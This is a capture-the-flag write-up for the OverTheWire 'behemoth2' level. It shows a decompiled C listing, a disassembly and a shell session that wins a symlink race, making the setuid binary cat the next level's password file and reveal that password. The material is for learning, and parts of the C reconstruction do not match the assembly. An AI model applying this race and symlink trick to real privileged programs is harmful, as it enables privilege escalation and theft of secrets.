behemoth - 02

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[])
{
	struct stat filestat;
	char cmd[16];
	char *ptrpid = cmd + 6;
	pid_t pid;

	pid = getpid();
	sprintf(cmd, "touch %d", pid);

	if (lstat(ptrpid, &filestat) & 0xf000 != 0x8000) {
		unlink(ptrpid);
		system(cmd);
	}

	sleep(2000);
	*(int *)cmd = 0x20746163; /* "cat " */
	cmd[5] = '\0';
	cmd[5] = ' ';

	system(cmd);

	return 0;
}

棧環境

root@today:~# ssh [email protected]

[email protected]'s password: eimahquuof

behemoth2@melinda:~$ cd /tmp/shui2

behemoth2@melinda:/tmp/shui2$ ls

behemoth2@melinda:/tmp/shui2$ /behemoth/behemoth2 > passs.txt &
[1] 32634

behemoth2@melinda:/tmp/shui2$ ls
32634  passs.txt

behemoth2@melinda:/tmp/shui2$ rm -f 32634

behemoth2@melinda:/tmp/shui2$ ln -sf /etc/behemoth_pass/behemoth3 32634

behemoth2@melinda:/tmp/shui2$ ll
total 1692
drwxrwxr-x    2 behemoth2 behemoth2    4096 Feb 18 04:52 ./
drwxrwx-wt 9354 root      root      1724416 Feb 18 04:52 ../
lrwxrwxrwx    1 behemoth2 behemoth2      28 Feb 18 04:52 32634 -> /etc/behemoth_pass/behemoth3
-rw-rw-r--    1 behemoth2 behemoth2       0 Feb 18 04:51 passs.txt

behemoth2@melinda:/tmp/shui2$ ./sleep.sh 
...
sleep 2409 sec.
sleep 2410 sec.
sleep 2411 sec.
^C
[1]+  Done                    /behemoth/behemoth2 > passs.txt

behemoth2@melinda:/tmp/shui2$ ls
32634  passs.txt  sleep.sh

behemoth2@melinda:/tmp/shui2$ cat passs.txt 
nieteidiel

   ┌─────────────────────────────────────────────────────────────────────────────────┐
   │0x804856d <main>        push   %ebp                                              │
   │0x804856e <main+1>      mov    %esp,%ebp                                         │
   │0x8048570 <main+3>      and    $0xfffffff0,%esp                                  │
   │0x8048573 <main+6>      sub    $0xa0,%esp                                        │
   │0x8048579 <main+12>     mov    %gs:0x14,%eax                                     │
   │0x804857f <main+18>     mov    %eax,0x9c(%esp)                                   │
   │0x8048586 <main+25>     xor    %eax,%eax                                         │
   │0x8048588 <main+27>     call   0x8048410 <getpid@plt>                            │
   │0x804858d <main+32>     mov    %eax,0x1c(%esp)                                   │
   │0x8048591 <main+36>     lea    0x24(%esp),%eax                                   │
   │0x8048595 <main+40>     add    $0x6,%eax                                         │
   │0x8048598 <main+43>     mov    %eax,0x20(%esp)                                   │
   │0x804859c <main+47>     mov    0x1c(%esp),%eax                                   │
   │0x80485a0 <main+51>     mov    %eax,0x8(%esp)                                    │
   │0x80485a4 <main+55>     movl   $0x804870c,0x4(%esp)                              │
   │0x80485ac <main+63>     lea    0x24(%esp),%eax                                   │
   │0x80485b0 <main+67>     mov    %eax,(%esp)                                       │
   │0x80485b3 <main+70>     call   0x8048450 <sprintf@plt>                           │
   │0x80485b8 <main+75>     lea    0x38(%esp),%eax                                   │
   │0x80485bc <main+79>     mov    %eax,0x4(%esp)                                    │
   │0x80485c0 <main+83>     mov    0x20(%esp),%eax                                   │
   │0x80485c4 <main+87>     mov    %eax,(%esp)                                       │
   │0x80485c7 <main+90>     call   0x80486c0 <lstat>                                 │
   │0x80485cc <main+95>     and    $0xf000,%eax                                      │
   │0x80485d1 <main+100>    cmp    $0x8000,%eax                                      │
   │0x80485d6 <main+105>    je     0x80485f0 <main+131>                              │
   │0x80485d8 <main+107>    mov    0x20(%esp),%eax                                   │
   │0x80485dc <main+111>    mov    %eax,(%esp)                                       │
   │0x80485df <main+114>    call   0x8048400 <unlink@plt>                            │
   │0x80485e4 <main+119>    lea    0x24(%esp),%eax                                   │
   │0x80485e8 <main+123>    mov    %eax,(%esp)                                       │
   │0x80485eb <main+126>    call   0x8048420 <system@plt>                            │
   │0x80485f0 <main+131>    movl   $0x7d0,(%esp)                                     │
   │0x80485f7 <main+138>    call   0x80483e0 <sleep@plt>                             │
   │0x80485fc <main+143>    lea    0x24(%esp),%eax                                   │
   │0x8048600 <main+147>    movl   $0x20746163,(%eax)                                │
   │0x8048606 <main+153>    movb   $0x0,0x4(%eax)                                    │
   │0x804860a <main+157>    movb   $0x20,0x28(%esp)                                  │
   │0x804860f <main+162>    lea    0x24(%esp),%eax                                   │
   │0x8048613 <main+166>    mov    %eax,(%esp)                                       │
   │0x8048616 <main+169>    call   0x8048420 <system@plt>                            │
   │0x804861b <main+174>    mov    $0x0,%eax                                         │
   │0x8048620 <main+179>    mov    0x9c(%esp),%edx                                   │
   │0x8048627 <main+186>    xor    %gs:0x14,%edx                                     │
   │0x804862e <main+193>    je     0x8048635 <main+200>                              │
   │0x8048630 <main+195>    call   0x80483f0 <__stack_chk_fail@plt>                  │
   │0x8048635 <main+200>    leave                                                    │
   │0x8048636 <main+201>    ret                                                      │
   └─────────────────────────────────────────────────────────────────────────────────┘